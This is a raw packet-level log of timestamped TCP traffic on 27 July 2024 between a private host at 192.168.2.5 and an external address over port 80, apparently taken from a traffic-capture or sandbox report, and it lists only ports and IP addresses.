Jul 27, 2024 12:02:08.890857935 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.890889883 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.890899897 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.890909910 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.890918016 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.890919924 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.890929937 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.890938044 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.890943050 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.890945911 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.890954971 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.890968084 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.890976906 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.890985012 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.890997887 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891006947 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891006947 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.891015053 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891026020 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891027927 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.891040087 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891053915 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891057014 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.891063929 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891079903 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.891108990 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.891809940 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891819954 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891829967 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891838074 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891872883 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.891894102 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.891966105 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891976118 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891983986 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.891992092 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.892000914 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.892008066 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.892016888 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.892021894 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.892024994 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.892075062 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.905435085 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906052113 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906061888 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906070948 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906078100 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906088114 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906100035 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906111956 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906121016 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906130075 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906164885 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.906214952 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906229019 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906240940 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.906270027 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.906397104 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906405926 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906414032 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.906447887 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.906461954 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.907984018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.907993078 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.908001900 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.908010960 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.908066988 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.908081055 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.908133030 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.909187078 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.923207998 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923218012 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923223019 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923326015 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.923703909 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923712969 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923722029 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923729897 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923738003 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923763037 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.923801899 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.923887968 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923896074 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923903942 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923912048 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923922062 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.923943043 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.923974037 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.925307989 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.925496101 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.925506115 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.925513983 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.925523043 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.925532103 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.925550938 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.925579071 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.925662994 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.925712109 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.969325066 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969361067 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969371080 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969429016 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969428062 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.969436884 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969446898 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969455004 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969465017 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.969495058 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.969511032 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.969645977 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969655037 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969662905 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969671965 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969681978 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969682932 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.969695091 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969697952 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.969710112 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969719887 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969722033 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.969728947 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969737053 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.969763041 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.969854116 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969863892 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969872952 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969882965 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.969902039 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.969929934 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.970391035 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970443964 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970454931 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970484018 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.970501900 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.970670938 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970689058 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970699072 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970706940 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970716000 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970731020 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.970757961 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.970823050 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970832109 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970839977 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970849037 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970856905 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970863104 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.970875025 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.970901966 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.970930099 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.970972061 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.971452951 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.971462011 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.971482992 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.971493006 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.971515894 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.971525908 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.971580029 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.971589088 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.971596956 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.971606016 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.971621037 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.971635103 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.971657038 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.978202105 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978235006 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978245020 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978300095 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978310108 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978313923 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.978349924 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.978382111 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978391886 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978400946 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978411913 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978425980 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.978439093 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.978468895 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.978528976 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978539944 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978574991 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.978578091 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978591919 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978610039 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978621006 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.978643894 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.978667021 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978677034 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978703022 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.978715897 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.978729963 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978739023 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978749037 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.978774071 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.978797913 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.980248928 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.980374098 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.980417967 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.980561972 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.980571985 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.980597973 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.980619907 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.983932972 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.983943939 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.983953953 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.983963013 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.983995914 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.984025955 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.993412971 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.993593931 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.993602037 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.993613005 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.993622065 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.993630886 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.993643045 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.993671894 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.993696928 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.996687889 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996695995 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996747017 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.996783018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996792078 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996797085 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996799946 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996809006 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996818066 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996829033 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996838093 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996840954 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.996845961 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996856928 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.996880054 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.996891975 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.996953011 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996961117 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996969938 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996977091 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.996992111 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.997014999 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.000797033 CEST	80	49735	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.001893997 CEST	49735	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.006107092 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006145000 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006153107 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006206989 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006217003 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006226063 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006234884 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006237030 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.006261110 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.006273985 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.006308079 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006318092 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006326914 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006335974 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006344080 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006356955 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.006381989 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.006468058 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006478071 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006486893 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006496906 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006513119 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.006513119 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006527901 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006530046 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.006539106 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006546974 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.006551027 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.006582975 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.006911993 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.009362936 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.058916092 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059006929 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059015036 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059081078 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059092999 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059102058 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059107065 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059142113 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.059171915 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059180975 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059189081 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059196949 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059200048 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.059207916 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059211016 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.059231043 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.059253931 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.059279919 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059288979 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059297085 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.059318066 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.059331894 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.060326099 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.060388088 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.060416937 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.060457945 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.060723066 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.060730934 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.060765982 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.060782909 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.060950994 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.060959101 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.060967922 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.060975075 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.060987949 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.061002016 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.061027050 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.062505960 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062561035 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062561035 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.062568903 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062596083 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.062608004 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.062621117 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062628984 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062638998 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062648058 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062657118 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.062669992 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.062690020 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.062747955 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062756062 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062766075 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062778950 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062788010 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062788963 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.062797070 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062804937 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:09.062810898 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.062827110 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:09.062859058 CEST	49733	80	192.168.2.5	185.215.113.16
